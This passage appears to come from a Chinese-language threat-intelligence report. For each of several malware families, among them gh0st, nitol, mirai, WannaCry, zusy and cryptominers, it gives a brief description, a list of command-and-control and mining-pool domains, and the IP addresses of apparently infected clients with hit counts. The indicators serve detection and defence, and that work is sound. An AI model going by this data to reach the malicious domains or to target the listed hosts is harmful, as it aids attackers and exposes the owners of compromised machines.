9 125.36.159.143 NAT
9 117.9.92.253 NAT
9 218.67.255.130 NAT
9 60.30.177.62 NAT
9 60.27.30.93 NAT
8 111.161.175.142 NAT
8 221.198.205.55 NAT
8 61.181.237.149 NAT
8 111.162.203.133 NAT
8 117.13.15.171 NAT
8 111.160.132.158 NAT
8 221.196.253.224 NAT
8 111.167.55.23 NAT
8 111.163.194.85 NAT
8 125.37.64.100 NAT
8 60.26.75.38 NAT
8 117.15.213.63 NAT
8 111.167.141.36 NAT
8 111.163.213.221 NAT
8 60.29.148.130 NAT
8 218.68.105.107 NAT
7 111.165.249.178 NAT
7 111.163.87.125 NAT
7 125.36.36.45 NAT
7 221.197.12.168 NAT
7 60.27.136.30 NAT
7 218.68.201.142 NAT
7 218.69.166.164 NAT
7 117.11.15.253 NAT
7 125.36.33.178 NAT
7 218.67.166.249 NAT
7 125.36.118.3 NAT
7 60.27.136.126 NAT
7 60.30.10.178 NAT
7 218.69.242.148 NAT
7 221.197.132.12 NAT
6 60.24.89.15 NAT
6 117.11.233.183 NAT
6 60.27.188.32 NAT
6 60.27.193.191 NAT
6 111.162.223.220 NAT
6 60.29.153.58 NAT
6 60.29.153.52 NAT
6 111.163.151.192 NAT
6 60.29.94.82 NAT
6 218.69.133.140 NAT
6 117.14.58.46 NAT
6 218.69.66.151 NAT
6 221.197.29.129 NAT
6 117.11.108.75 NAT
6 117.12.133.137 NAT
6 60.25.50.209 NAT
6 218.69.78.11 NAT
6 117.11.147.199 NAT
6 218.67.199.206 NAT
6 60.29.128.211 NAT
6 60.27.189.251 NAT
5 218.68.114.85 NAT
5 111.160.253.30 NAT
5 60.26.42.206 NAT
5 61.181.63.46 NAT
5 111.163.154.184 NAT
5 60.27.103.152 NAT
5 221.198.228.243 NAT
5 111.164.10.211 NAT
5 117.13.51.90 NAT
5 117.10.10.40 NAT
5 111.162.216.132 NAT
5 111.164.122.84 NAT
5 60.26.41.154 NAT
5 117.8.100.67 NAT
5 111.163.142.158 NAT
5 218.68.158.47 NAT
5 111.163.146.242 NAT
5 111.163.147.202 NAT
5 60.30.98.210 NAT
5 202.99.106.45 NAT
5 60.29.37.38 NAT
5 60.24.88.26 NAT
5 60.27.88.181 NAT
5 60.27.42.203 NAT
4 218.68.114.88 NAT
4 117.14.201.101 NAT
4 60.25.121.64 NAT
4 117.14.132.138 NAT
4 60.27.43.13 NAT
4 221.197.69.167 NAT
4 218.69.186.4 NAT
4 111.163.73.91 NAT
4 218.69.156.112 NAT
4 221.198.239.23 NAT
4 221.196.51.133 NAT
4 60.25.57.45 NAT
4 60.24.71.118 NAT
4 218.67.255.20 NAT
4 60.27.95.94 NAT
4 117.11.242.161 NAT
4 61.181.5.171 NAT
4 221.198.228.100 NAT
4 111.166.68.224 NAT
4 221.198.27.32 NAT
4 218.68.245.188 NAT
4 221.198.235.137 NAT
4 60.27.189.130 NAT
4 111.161.190.189 NAT
4 221.197.133.108 NAT
4 218.68.233.233 NAT
4 221.197.139.0 NAT
4 60.24.249.103 NAT
4 218.69.74.97 NAT
4 125.37.183.60 NAT
4 125.38.176.178 NAT
4 60.27.188.239 NAT
4 218.68.236.207 NAT
4 111.163.220.92 NAT
4 125.38.62.105 NAT
4 61.181.208.87 NAT
4 218.67.255.132 NAT
4 211.94.242.63 NAT
4 125.37.189.121 NAT
4 117.11.144.138 NAT
4 60.27.136.92 NAT
4 125.38.177.227 NAT
3 218.68.233.60 NAT
3 117.10.62.116 NAT
3 218.69.133.156 NAT
3 60.30.37.92 NAT
3 218.69.74.76 NAT
3 125.38.179.187 NAT
3 218.68.233.4 NAT
3 218.67.164.94 NAT
3 117.13.67.54 NAT
3 60.30.158.118 NAT
3 111.167.10.59 NAT
3 117.11.117.136 NAT
3 221.198.98.75 NAT
3 111.164.38.243 NAT
3 221.196.194.139 NAT
3 117.9.120.72 NAT
3 218.69.164.111 NAT
3 221.198.167.50 NAT
3 221.198.218.193 NAT
3 111.163.156.144 NAT
3 221.197.177.239 NAT
3 221.196.56.129 NAT
3 60.26.94.128 NAT
3 221.198.104.101
3 125.36.52.31 NAT
3 117.9.239.187 NAT
3 117.11.239.145 NAT
3 60.24.91.72 NAT
3 221.198.174.199 NAT
3 218.69.242.4 NAT
3 125.37.183.147 NAT
3 60.27.60.238 NAT
3 218.67.234.37 NAT
3 117.11.121.171 NAT
3 218.68.204.2 NAT
3 117.12.80.93 NAT
3 111.167.205.126 NAT
3 221.198.61.203
3 221.197.222.238 NAT
3 218.68.102.6 NAT
3 60.24.226.134 NAT
3 117.14.249.216 NAT
3 125.37.189.53 NAT
3 60.25.2.192 NAT
3 60.27.174.218 NAT
3 60.27.173.241 NAT
3 117.12.20.146 NAT
3 60.28.48.194 NAT
3 111.163.150.91 NAT
3 117.13.3.30 NAT
2 60.24.91.55 NAT
2 218.68.219.19 NAT
2 125.37.121.172 NAT
2 60.26.79.134 NAT
2 60.30.203.70 NAT
2 117.14.207.142 NAT
2 111.165.120.223 NAT
2 117.10.65.170 NAT
2 111.162.200.171 NAT
2 111.163.77.247 NAT
2 60.27.138.181 NAT
2 117.14.249.26 NAT
2 117.15.222.52 NAT
2 60.27.136.84 NAT
2 60.29.215.153 NAT
2 117.15.190.58 NAT
2 111.163.198.248 NAT
2 60.26.122.202 NAT
2 111.161.221.189 NAT
2 111.162.216.62 NAT
2 111.166.213.251 NAT
2 111.165.116.208
2 111.160.120.54 NAT
2 111.165.30.69 NAT
2 221.196.203.65 NAT
2 218.67.146.57
2 111.166.66.253
2 111.167.79.178
2 111.162.8.186 NAT
2 125.37.183.50 NAT
2 111.161.190.225 NAT
2 117.10.249.226 NAT
2 117.13.104.78 NAT
2 221.197.162.210 NAT
2 60.25.115.96 NAT
2 111.165.214.234 NAT
2 221.196.172.170 NAT
2 117.10.68.185
2 125.37.191.87 NAT
2 60.24.127.98 NAT
2 117.12.16.123 NAT
2 117.14.126.217 NAT
2 111.162.200.108 NAT
2 60.26.95.79 NAT
2 221.198.59.196
2 125.37.167.208 NAT
2 60.27.104.1 NAT
2 218.69.234.247 NAT
2 111.166.117.229 NAT
2 117.10.138.212 NAT
2 60.25.17.106 NAT
2 117.8.71.114 NAT
2 60.25.154.32 NAT
2 117.10.105.154
1 218.68.114.232 NAT
1 218.68.201.255 NAT
1 125.37.29.177 NAT
1 218.67.254.103 NAT
1 61.181.40.58 NAT
1 111.161.235.57 NAT
1 60.24.88.219 NAT
1 218.68.146.254 NAT
1 218.68.102.48 NAT
1 117.9.88.178 NAT
1 60.24.12.95 NAT
1 111.163.208.48 NAT
1 117.14.227.37
1 125.37.189.90 NAT
1 218.67.204.218 NAT
1 125.37.182.15 NAT
1 60.24.12.200 NAT
1 218.69.72.24 NAT
1 117.12.233.224 NAT
1 111.163.16.168 NAT
1 111.163.122.25 NAT
1 221.198.131.25 NAT
1 60.25.39.56 NAT
1 117.13.95.251 NAT
1 221.196.194.116 NAT
1 60.26.158.69 NAT
1 117.14.249.73 NAT
1 111.163.142.187 NAT
1 125.37.190.50 NAT
1 218.68.147.89 NAT
1 221.197.69.49 NAT
1 117.14.107.42 NAT
1 117.15.192.109 NAT
1 117.10.64.131 NAT
1 111.163.151.214 NAT
1 111.165.106.1
1 221.196.51.5 NAT
1 125.36.118.252 NAT
1 117.10.64.187 NAT
1 221.197.54.203 NAT
1 218.68.156.175 NAT
1 60.24.88.200 NAT
1 111.163.146.23 NAT
1 221.197.12.150 NAT
1 125.38.18.28 NAT
1 117.8.85.121 NAT
1 60.25.13.211 NAT
1 111.162.220.193 NAT
Malware.darkshell
darkshell 是面向Window平台的DDoS malware，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。
IOCs
equant.wang
Clients
Count Client TAGS
257 125.37.163.193 NAT
35 60.30.158.118 NAT
5 117.131.173.13 NAT
Malware.nadrac
一款简单的远控程序，又被称为Farfli, YongLouts。一般主要是充当下载器，包含键盘记录，代理，音视频监听等多个插件。
IOCs
dllhost.website
baijinddos.xyz
mdzz2018.msns.cn
sky.hobuff.info
indonesias.website
Clients
Count Client TAGS
526 60.30.199.26 NAT
509 111.160.156.10 NAT
203 111.163.143.228 NAT
84 60.28.140.93 NAT
54 60.29.124.250 NAT
8 60.28.114.2 NAT
7 60.29.133.19 NAT
4 111.160.110.26 NAT
4 218.69.27.222 NAT
4 125.37.162.202 NAT
3 111.165.217.222 NAT
3 60.28.101.14 NAT
2 125.39.151.188
2 60.29.64.86 NAT
1 60.28.114.30 NAT
Malware.elknot
一款比较知名的木马，它允许远程攻击者利用受感染计算机发动DDoS攻击。
IOCs
fk.appledoesnt.com
ll.8suf.com
baijinddos.xyz
Clients
Count Client TAGS
452 61.181.59.88
258 60.30.26.124
257 60.29.144.220
203 111.163.143.228 NAT
155 218.68.0.210 NAT
Malware.loki
loki是一款针对windows平台的恶意软件，其主要目的在于窃取受害者的敏感信息，browser,email,ftp,以及诸多付费工具的licence等。
IOCs
silverlinehospital.in
Clients
Count Client TAGS
1 125.37.160.100 NAT
Malware.barhera
一款木马后门，用于下载其他的恶意软件。
IOCs
p.raidmedia.com.cn
update.bainv.net
l.raidmedia.com.cn
Clients
Count Client TAGS
3 221.197.133.137 NAT
3 61.181.5.31 NAT
Malware.zombieboy
zombieboy是一款针对windows平台的加密货币挖矿蠕虫。
IOCs
cuijiahuq.f3322.net
dns.fq520000.org
Clients
Count Client TAGS
13 218.69.133.37 NAT
1 125.35.213.157 NAT
Malware.rcshark
rcshark是一款针对windows平台的后门病毒，其主要功能是窃取用户的敏感信息。
IOCs
xiangban1988.3322.org
Clients
Count Client TAGS
1 60.27.188.109 NAT
Malware.Dorkbot
属于蠕虫病毒，被感染的所有主机都会沦为黑客的肉鸡，不定期对外网主机进行DDoS攻击，同时其还具有极强的隐蔽性，运行之后会把恶意代码注入到合法进程，然后删除自身。
IOCs
a.amous1epadsafa42.com
a.ajjjqws1fkxx42.com
a.adoyou1understandme42.com
a.aiphon1egalaxyblack42.com
Clients
Count Client TAGS
9 60.30.214.50 NAT
Malware.ramnit
ramnit是一款针对windows平台的病毒，最初表现为一款感染U盘，FTP服务器文件的蠕虫，传播大量广告软件，随后发展成银行木马，用于窃取用户金融以及其它敏感信息。
IOCs
stromoliks.com
jdskfjkfw3232234.com
fkjdeljfeew32233.com
rterybrstutnrsbberve.com
fget-career.com
fdwelklwe3093443.com
supnewdmn.com
Clients
Count Client TAGS
256 61.181.30.138 NAT
112 60.28.141.50 NAT
79 125.36.152.117 NAT
34 61.181.108.2 NAT
32 60.28.156.216
30 117.131.173.16 NAT
30 221.197.12.90 NAT
27 60.29.37.38 NAT
25 117.15.99.67 NAT
25 111.160.91.94 NAT
20 111.30.30.18 NAT
19 111.160.100.230 NAT
19 111.165.24.101 NAT
16 61.181.252.146 NAT
16 111.164.20.30 NAT
15 60.30.4.11
14 221.239.93.251
13 60.29.22.98 NAT
12 60.25.11.13 NAT
12 218.69.90.46 NAT
11 111.160.156.10 NAT
11 111.160.132.158 NAT
10 60.30.199.26 NAT
10 60.29.89.34 NAT
10 218.68.224.88 NAT
9 218.68.158.40 NAT
9 60.30.164.26 NAT
8 60.26.101.13 NAT
8 218.68.233.132 NAT
8 221.197.139.99 NAT
8 221.197.122.193 NAT
7 221.196.108.115 NAT
7 61.181.143.34 NAT
7 117.9.93.13 NAT
7 60.25.148.35 NAT
7 180.213.5.10 NAT
7 117.11.218.223 NAT
6 60.27.31.62 NAT
6 218.69.129.222 NAT
6 111.162.212.244 NAT
6 218.68.234.159 NAT
6 218.68.234.64 NAT
6 111.160.233.182 NAT
6 125.38.176.178 NAT
6 117.11.153.212 NAT
6 221.196.180.62 NAT
6 221.198.66.44 NAT
6 60.26.225.158 NAT
5 221.198.170.164 NAT
5 111.163.158.181 NAT
5 125.36.153.16 NAT
5 117.10.62.226 NAT
5 117.12.202.189 NAT
5 218.69.226.106 NAT
5 117.13.115.123 NAT
5 61.181.74.42 NAT
5 60.29.133.19 NAT
5 218.69.55.166 NAT
5 218.69.54.167 NAT
5 211.94.243.185 NAT
5 60.30.208.226 NAT
5 117.9.18.2 NAT
5 106.47.29.70 NAT
5 125.37.29.120 NAT
5 111.162.149.78 NAT
5 218.68.0.6 NAT
4 111.161.158.131 NAT
4 211.94.254.85 NAT
4 218.69.6.74 NAT
4 221.198.86.145 NAT
4 111.160.120.54 NAT
4 60.24.90.226 NAT
4 60.29.93.221 NAT
4 111.163.143.228 NAT
4 111.163.123.7 NAT
4 221.198.238.209 NAT
4 60.24.184.70 NAT
4 60.27.31.0 NAT
4 117.15.125.181 NAT
4 61.181.140.42 NAT
4 117.12.37.223 NAT
4 218.67.234.60 NAT
4 125.38.176.229 NAT
4 125.37.29.23 NAT
4 61.181.103.138 NAT
4 117.11.10.12 NAT
4 60.24.233.164 NAT
4 60.28.104.130 NAT
4 218.68.105.7 NAT
4 111.166.237.230 NAT
4 221.196.46.61 NAT
4 117.14.119.35 NAT
4 60.26.203.160 NAT
4 117.9.237.225 NAT
4 218.68.200.243 NAT
4 218.68.229.81 NAT
4 218.68.219.29 NAT
3 221.198.67.88 NAT
3 117.10.236.245 NAT
3 117.15.192.231 NAT
3 60.24.45.218 NAT
3 117.12.146.72 NAT
3 60.29.43.46 NAT
3 117.9.191.22 NAT
3 111.163.144.224 NAT
3 125.37.182.99 NAT
3 117.10.138.46 NAT
3 211.94.243.121 NAT
3 111.161.150.34 NAT
3 61.181.219.120 NAT
3 60.27.60.159 NAT
3 111.162.163.231 NAT
3 111.166.238.248 NAT
3 117.12.1.165 NAT
3 117.13.168.162 NAT
3 202.99.106.47 NAT
3 221.197.179.98 NAT
3 211.94.226.74 NAT
3 60.28.101.104 NAT
3 111.165.188.122 NAT
3 60.29.154.226 NAT
3 60.29.15.2 NAT
3 111.165.105.247 NAT
3 60.26.239.60 NAT
3 43.249.136.20 NAT
3 61.181.202.5
3 60.26.142.193 NAT
3 117.13.106.191 NAT
3 60.29.63.18 NAT
3 60.29.16.94 NAT
3 218.69.52.252 NAT
3 117.14.66.156 NAT
3 221.196.97.11 NAT
3 218.67.181.124 NAT
3 111.160.80.3 NAT
3 117.13.140.5 NAT
3 111.165.11.60 NAT
3 60.25.251.11 NAT
2 111.160.97.18 NAT
2 218.68.102.58 NAT
2 125.37.217.118 NAT
2 125.37.191.155 NAT
2 221.196.97.36 NAT
2 221.196.194.253 NAT
2 218.68.224.39 NAT
2 218.68.102.247 NAT
2 111.160.198.83 NAT
2 60.27.189.44 NAT
2 117.12.133.191 NAT
2 60.30.156.190 NAT
2 211.94.248.28 NAT
2 221.198.60.201 NAT
2 60.26.132.173 NAT
2 117.15.22.130 NAT
2 218.69.55.247 NAT
2 117.9.70.23 NAT
2 111.162.216.127 NAT
2 61.181.63.138 NAT
2 60.24.127.98 NAT
2 125.36.101.224 NAT
2 117.12.125.160 NAT
2 111.165.56.53 NAT
2 111.165.128.30 NAT
2 125.37.212.67 NAT
2 218.68.107.108 NAT
2 111.167.149.238 NAT
2 221.197.154.147 NAT
2 117.13.244.21 NAT
2 125.35.249.1 NAT
2 218.69.11.58 NAT
2 117.10.28.225 NAT
2 221.197.133.137 NAT
2 111.167.46.70 NAT
2 60.29.179.114 NAT
2 221.196.180.242 NAT
2 60.30.105.33 NAT
2 60.27.138.17 NAT
1 218.67.254.17 NAT
1 117.11.225.137 NAT
1 111.163.143.193 NAT
1 60.24.89.15 NAT
1 218.69.55.60 NAT
1 60.30.215.242 NAT
1 111.163.140.152 NAT
1 111.160.108.34 NAT
1 221.198.218.112 NAT
1 125.38.177.138 NAT
1 60.29.95.82 NAT
1 221.196.194.2 NAT
1 221.197.162.54 NAT
1 117.15.191.57 NAT
1 60.27.42.62 NAT
1 117.9.229.148 NAT
1 218.69.234.252 NAT
1 60.27.79.17 NAT
1 117.8.101.63 NAT
1 60.30.105.41 NAT
1 125.37.125.3 NAT
1 221.198.118.158 NAT
1 60.28.101.103 NAT
1 60.28.101.106 NAT
1 60.27.205.187 NAT
1 211.94.242.118 NAT
1 117.12.144.7 NAT
1 117.8.100.70 NAT
1 60.29.30.190 NAT
1 60.26.180.205 NAT
1 111.162.221.168 NAT
1 221.198.110.209 NAT
1 117.14.70.156 NAT
1 60.29.116.18 NAT
1 111.165.72.25 NAT
1 218.69.147.133 NAT
1 60.29.153.61 NAT
1 221.196.119.133 NAT
1 111.163.22.227 NAT
1 60.30.204.82 NAT
1 111.167.144.199 NAT
1 60.30.240.226 NAT
1 111.166.156.237 NAT
1 60.28.38.18 NAT
1 125.37.182.185 NAT
1 218.68.235.133 NAT
1 125.38.191.184 NAT
1 111.160.97.42 NAT
1 111.163.78.80 NAT
1 111.161.189.215 NAT
1 117.11.239.56 NAT
1 218.69.243.164 NAT
1 60.29.179.42 NAT
1 117.12.158.82 NAT
1 60.25.63.52 NAT
1 60.25.10.147 NAT
1 60.27.79.149 NAT
1 111.162.163.241 NAT
1 221.239.72.170 NAT
Malware.gh0st
GH0ST是一款经典的RAT，针对Windows系统，支持截屏、录像、录音等多种spy功能。GH0ST由中国人编写，已经开放源码，因而存在较多的变种。
IOCs
www.sousouweb.com
ime.mys2005.xyz
linux145.f3322.net
3s.dkys.org
yk.520yxsf.com
baijinddos.xyz
xiangban1988.3322.org
fwq2020.f3322.net
zerococoll.f3322.net
sky.hobuff.info
www.wulei168.pw
Clients
Count Client TAGS
509 111.160.156.10 NAT
203 111.163.143.228 NAT
103 125.39.138.171
94 60.28.34.59
54 60.29.124.250 NAT
34 60.30.199.26 NAT
20 60.28.99.74 NAT
18 61.181.81.82 NAT
12 218.69.11.58 NAT
4 103.233.4.30 NAT
3 111.165.217.222 NAT
3 221.239.104.13
3 60.28.101.14 NAT
2 125.39.151.188
1 60.27.188.109 NAT
1 60.28.101.104 NAT
Malware.posioncake
一款内置于手机ROM的恶意代码模块，注入Phone进程，拦截短信和发送短信，自动扣费，窃取信息等等。
IOCs
hcbh.heycould.com
hacdl.junwonsil.com
Clients
Count Client TAGS
6 60.27.42.111 NAT
2 125.37.189.42 NAT
2 60.27.43.103 NAT
1 111.162.129.93 NAT
Malware.nitol
又名dsl，是国内著名的面向Window平台的DDoS类型的 botnet家族，支持icmp/udp/tcp/http等多种攻击手段，具有较多的变种。
IOCs
dllhost.website
mssql.noip.cn
mdzz2018.msns.cn
yk.520yxsf.com
akmfs.com
40kam.cn
sky.hobuff.info
a.aklianfa.com
indonesias.website
3s.dkys.org
ak-74.top
Clients
Count Client TAGS
709 60.30.199.26 NAT
509 111.160.156.10 NAT
84 60.28.140.93 NAT
54 60.29.124.250 NAT
11 111.163.143.228 NAT
8 60.28.114.2 NAT
7 60.29.133.19 NAT
4 125.37.162.202 NAT
4 111.160.110.26 NAT
4 218.69.27.222 NAT
3 111.165.217.222 NAT
3 60.28.101.14 NAT
2 125.39.151.188
2 60.29.64.86 NAT
1 60.27.119.49
1 60.28.114.30 NAT
1 60.28.101.104 NAT
Malware.mirai
通过大规模弱口令扫描来实现传播的蠕虫病毒，将Linux平台的Iot设备控制，用于DDoS攻击。
IOCs
scan.santaiot.net
seven.nadns.info
netflux.r00ts.online
cnc.stresser.pw
Clients
Count Client TAGS
585 60.29.215.141 NAT
527 111.160.57.142 NAT
290 61.181.115.50 NAT
2 111.167.211.108 NAT
Malware.humpler
该病毒伪装成多款小工具（如：老板键、屏幕亮度调节等），正通过2345软件大全等多个知名下载站进行传播。病毒入侵电脑后，会劫持QQ、360、搜狗等（市面上所有主流）浏览器首页。
IOCs
www.baidu-home.com
Clients
Count Client TAGS
1 60.27.136.24 NAT
Malware.wannycry
一种“蠕虫式”的勒索病毒软件，利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播，感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。
IOCs
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
Clients
Count Client TAGS
215 60.30.147.86
3 125.35.211.131 NAT
1 61.181.70.210 NAT
1 60.29.64.22 NAT
Malware.DUNIHi
DUNIHI (VBS_DUNIHI.ELDSAVJ)是一个有后门和蠕虫功能的很著名的VB脚本，在某些单独的事件中，该脚本在垃圾邮件活动中与Adwind一起释放。
IOCs
pm2bitcoin.com
Clients
Count Client TAGS
107 60.29.15.54 NAT
Malware.flyboy
一款常见的DDoS木马。
IOCs
3s.dkys.org
Clients
Count Client TAGS
1 60.28.101.104 NAT
Malware.zusy
隐藏在PowerShell中，当用户打开，代码将被执行并连接到CC，接下来就会下载文件并执行，最终部署恶意程序downloader。
IOCs
buy1.amzjhhl.ru
buy1.gsnrrtf.net
buy1.csfnlpg.com
buy1.cdpgphm.ru
buy1.dhccyjw.net
buy1.tnnxkzu.ru
buy1.emafzud.net
buy1.rcdibnh.net
buy1.uxesjmg.ru
buy1.swexydc.ru
buy1.jgbfjlp.net
buy1.zwnbddh.com
buy1.xrcugmy.net
buy1.bgnlbfi.ru
buy1.nonyans.net
buy1.xfwwcmk.net
buy1.iqcpfzo.ru
buy1.anzxoii.net
buy1.ntlucrd.com
buy1.tiksrzr.com
buy1.otkmgkl.ru
buy1.icwastp.ru
buy1.rmpokmg.ru
buy1.gyhhgrc.ru
buy1.aenqzfk.net
buy1.hbjxtas.com
buy1.tpibfhe.ru
buy1.nuawren.com
buy1.nzuibjx.net
buy1.swemrgx.ru
buy1.qzojbhw.net
buy1.qwlhrkg.net
buy1.cbbfywr.ru
buy1.iryjeqo.com
buy1.eftctph.com
buy1.rdggegr.ru
buy1.fmrolhu.ru
buy1.rksgxwu.com
buy1.ddplnfp.net
buy1.yhbayam.net
buy1.uqccxlp.com
buy1.mnplqfs.net
buy1.dhzozeh.com
buy1.tlwrshg.net
buy1.aldloqz.ru
buy1.lrtapbs.ru
buy1.blwszto.ru
buy1.ejuzlle.net
buy1.gxhrnou.net
buy1.iwjsndf.com
buy1.pkhruee.net
buy1.zrsglol.com
buy1.kfysswc.com
buy1.jlaxfgb.ru
buy1.lyksyom.ru
buy1.mbtndqh.ru
buy1.pmhncfh.com
buy1.pfccfpb.ru
buy1.ihtmojm.ru
buy1.jzwhkrf.ru
buy1.mbiaean.ru
buy1.oddcucl.net
buy1.wzxtbjj.com
buy1.fpkrylz.com
buy1.jrwgrbg.ru
buy1.qnmbbdf.com
buy1.ddxkizq.net
buy1.yyalymk.net
buy1.acthwqo.com
buy1.snpntqd.com
buy1.azcduku.net
buy1.ncfnqjq.ru
buy1.ipqwqms.com
buy1.ofcllwd.net
buy1.xbxkmpp.com
buy1.alxluqi.ru
buy1.dyimlqp.net
buy1.fiocywx.com
buy1.abqlnrj.net
buy1.rrsywps.net
buy1.dyqzunc.ru
buy1.arhaqps.net
buy1.zpoxqcm.com
buy1.loakwst.net
buy1.nmwfrco.net
buy1.bhwfnll.net
buy1.osqmhxk.com
buy1.tzsduod.ru
buy1.lzssazr.net
buy1.icuieia.com
buy1.subbsty.net
buy1.fyalcld.net
buy1.odadidc.net
buy1.oabnnmt.net
buy1.aypoxyp.ru
buy1.nzliqic.net
buy1.xcypwuk.com
buy1.kfxzzsn.com
buy1.iywiqzr.com
buy1.rkacqse.ru
buy1.ymqfcbd.net
buy1.pypylia.com
buy1.gcyzgmf.com
buy1.xkxkdrn.com
buy1.cuoohzc.net
buy1.umjumsm.ru
buy1.pyyynza.com
buy1.udcjmjp.com
buy1.jpczuxg.com
buy1.bhnlbnh.net
buy1.gkhdxpf.net
buy1.hcgrnpn.ru
buy1.mslethd.ru
buy1.rfigznh.com
buy1.fkixudk.com
buy1.dqjkgce.net
buy1.rpxiwkc.com
buy1.niobmdi.com
buy1.dgwxumj.net
buy1.xalccbx.net
buy1.rzlqryz.net
buy1.dmbszul.com
buy1.uxxbwrr.ru
buy1.lgllgjs.net
buy1.tklwfah.ru
buy1.bbjzotm.ru
buy1.muxizct.ru
buy1.iexcrzz.net
buy1.gqoshyz.com
buy1.kyjbpwo.com
buy1.qxicnnb.com
buy1.yhpgwbd.net
buy1.txhkpgx.ru
buy1.iyfekft.ru
buy1.rfjllrs.net
buy1.xfqhajt.ru
buy1.zdfytrg.net
buy1.dfllbal.com
buy1.ctxjyex.com
buy1.yeyagrf.net
buy1.ulijgtz.com
buy1.rpskkwa.ru
buy1.yltzlez.ru
buy1.uwzghwb.net
buy1.jsitazi.ru
buy1.fehllnd.ru
buy1.ewkuzls.com
buy1.gciwhdc.net
buy1.khjizyn.com
buy1.ajjchrq.com
buy1.hizfyzc.ru
buy1.acejruk.com
buy1.jcerqdu.com
buy1.litporj.net
buy1.xygtuqr.net
buy1.zhzecai.ru
buy1.lrqfxhc.net
buy1.plbjxaw.net
buy1.xisphiu.ru
buy1.nmdmzxk.com
buy1.whowczd.net
buy1.gfygooj.net
buy1.bkfhpoo.net
buy1.xfojdma.com
buy1.zzcsctw.com
buy1.shkjsxn.com
buy1.sczeedr.com
buy1.jlqawun.net
buy1.zbrxzcd.net
buy1.eawlrfo.net
buy1.lkwwnuy.com
buy1.eojrzia.com
buy1.mkehkqw.ru
buy1.bunndlc.net
buy1.caejtfs.com
buy1.qdlycsz.ru
buy1.aamdljg.net
buy1.uarszmk.net
buy1.eghszki.ru
buy1.kyzweka.ru
buy1.ucykaub.net
buy1.unxoyqg.net
buy1.ujgrmdw.net
buy1.oftxynb.com
buy1.byimnch.com
buy1.agipcrc.com
buy1.eqsjnjm.com
buy1.wqrtqpc.com
buy1.wosqlhp.com
buy1.txrytdk.ru
buy1.ncmxoby.net
buy1.fkztbqc.ru
buy1.yyeytoh.ru
buy1.xxegozl.net
buy1.umlddds.com
buy1.ihsfmzs.ru
buy1.bzloyhl.com
buy1.fpucsex.net
buy1.dhenkce.ru
buy1.wqpquur.com
buy1.jeuggdx.net
buy1.bqsmdwo.net
buy1.mswcoje.ru
buy1.snabueo.com
buy1.zsczqfy.ru
buy1.fwtoowy.ru
buy1.ofinzks.net
buy1.ctemxrb.com
buy1.bwfakki.com
buy1.losoipz.net
buy1.wyxhwju.net
buy1.zkznpjx.net
buy1.wtiksxd.com
buy1.swhjoah.com
buy1.nasuofo.net
buy1.yuwtdkb.net
buy1.gtdiebz.net
buy1.whihyrr.net
buy1.jslmhdt.ru
buy1.jsbutdx.net
buy1.ztkwpnt.net
buy1.nrtqgnk.ru
buy1.kmmeycg.net
buy1.jhlzgnx.com
buy1.holmewx.com
buy1.kqktsmm.net
buy1.sbbcsds.ru
buy1.ldqfpjt.ru
buy1.nnhaioe.ru
buy1.ibhyldi.com
buy1.konsxcs.net
buy1.cbhsshp.com
buy1.gopdypa.net
buy1.trozbgi.com
buy1.kaohkbo.ru
buy1.zjfyxty.com
buy1.llhwqrb.ru
buy1.dmyldke.ru
buy1.efyncmf.net
buy1.emjrsao.com
buy1.xwyntku.com
buy1.hltlxfs.net
buy1.thbjtrm.net
buy1.qwgsncg.com
buy1.fbbefbz.com
buy1.twgpprb.net
buy1.nhexpdk.ru
buy1.gehbfee.ru
buy1.mgqwpyq.net
buy1.gykmlbd.com
buy1.xtxflqf.net
buy1.nweqxdp.com
buy1.alggopl.com
buy1.hpczbok.com
buy1.rgqkjoz.net
buy1.hyldyiu.com
buy1.mnbqzcx.com
buy1.ppolbqq.com
buy1.zhytqnk.com
buy1.lntgdkt.net
buy1.egrsdno.ru
buy1.sningaz.net
buy1.wbtjqns.com
buy1.twqqspy.ru
buy1.uaegzfg.net
buy1.lybnmaq.net
buy1.tqebcid.com
buy1.gyqxhuk.com
buy1.lgppbam.net
buy1.oyzkzhk.ru
buy1.tbsnaoq.ru
buy1.jfmnyjj.net
buy1.lrzgxti.ru
buy1.byosnwr.ru
buy1.deutskr.net
buy1.rhaaxsx.net
buy1.ptprctl.ru
buy1.jaisoap.net
buy1.ifjzgwm.com
buy1.rynffwj.net
buy1.gbcdmyk.com
buy1.uzinsse.ru
buy1.ioicphz.com
buy1.ukciate.ru
buy1.lezsbdq.com
buy1.dertjgm.net
Clients
Count Client TAGS
298 111.160.240.107 NAT
Malware.woring
woring是一款针对Linux平台的 DDoS类型的botnet，因为函数命名存在一个typo: working->woring 故得名。woring主要感染x86 CPU架构的系统，支持常见的DDoS攻击手段。
IOCs
ak-74.top
Clients
Count Client TAGS
1 60.27.119.49
Malware.miner
各种挖矿软件家族，包括LSDminer、MSRAminer等等。
IOCs
mine.ppxxmr.com
p.awcna.com
p.zer2.com
pool.minexmr.com
tgoodluck.info
fr.ppxxmr.org
x.csrss.website
pool.usa-138.com
lpp.zer2.com
rapid7cpfqnwxodo.tor2web.fyi
testnet-seed.bitcoin.jonasschnelli.ch
xmr.crypto-pool.fr
task.estonine.com
urlxxx.at.ua
pluck.moisture.tk
xmr.f2pool.com
donate.v2.googel-dns.com
xmr-eu2.nanopool.org
log.miniast.com
lsd.systemten.org
seed.tbtc.petertodd.org
loop.haqo.net
a.csrss.website
reader.pamphler.com
t.awcna.com
luoxkexp.com
poole.laofubtc.com
indonesias.me
tar.kziu0tpofwf.club
p1.qsd2xjpzfky.site
p3.qsd2xjpzfky.site
systemten.org
xmr-eu1.nanopool.org
lpp.awcna.com
swt.njaavfxcgk3.club
null.exhauest.com
www.zeculiar.tk
dns.posthash.org
guojun.website
p.amxny.com
loop.sawmilliner.com
z.drawal.tk
morphed.ru
xmr.pool.minergate.com
rapid7cpfqnwxodo.onion.in.net
dnsseed.bluematt.me
s.csrss.website
rer.njaavfxcgk3.club
pool.supportxmr.com
europe.cryptonight-hub.miningpoolhub.com
emergency.kiss58.org
emergency.googel-dns.com
seed.testnet.bitcoin.sprovoost.nl
fox.weilders.com
acs.njaavfxcgk3.club
monerohash.com
w.3ei.xyz
jump.taucepan.com
fee.googel-dns.com
ccc.njaavfxcgk3.club
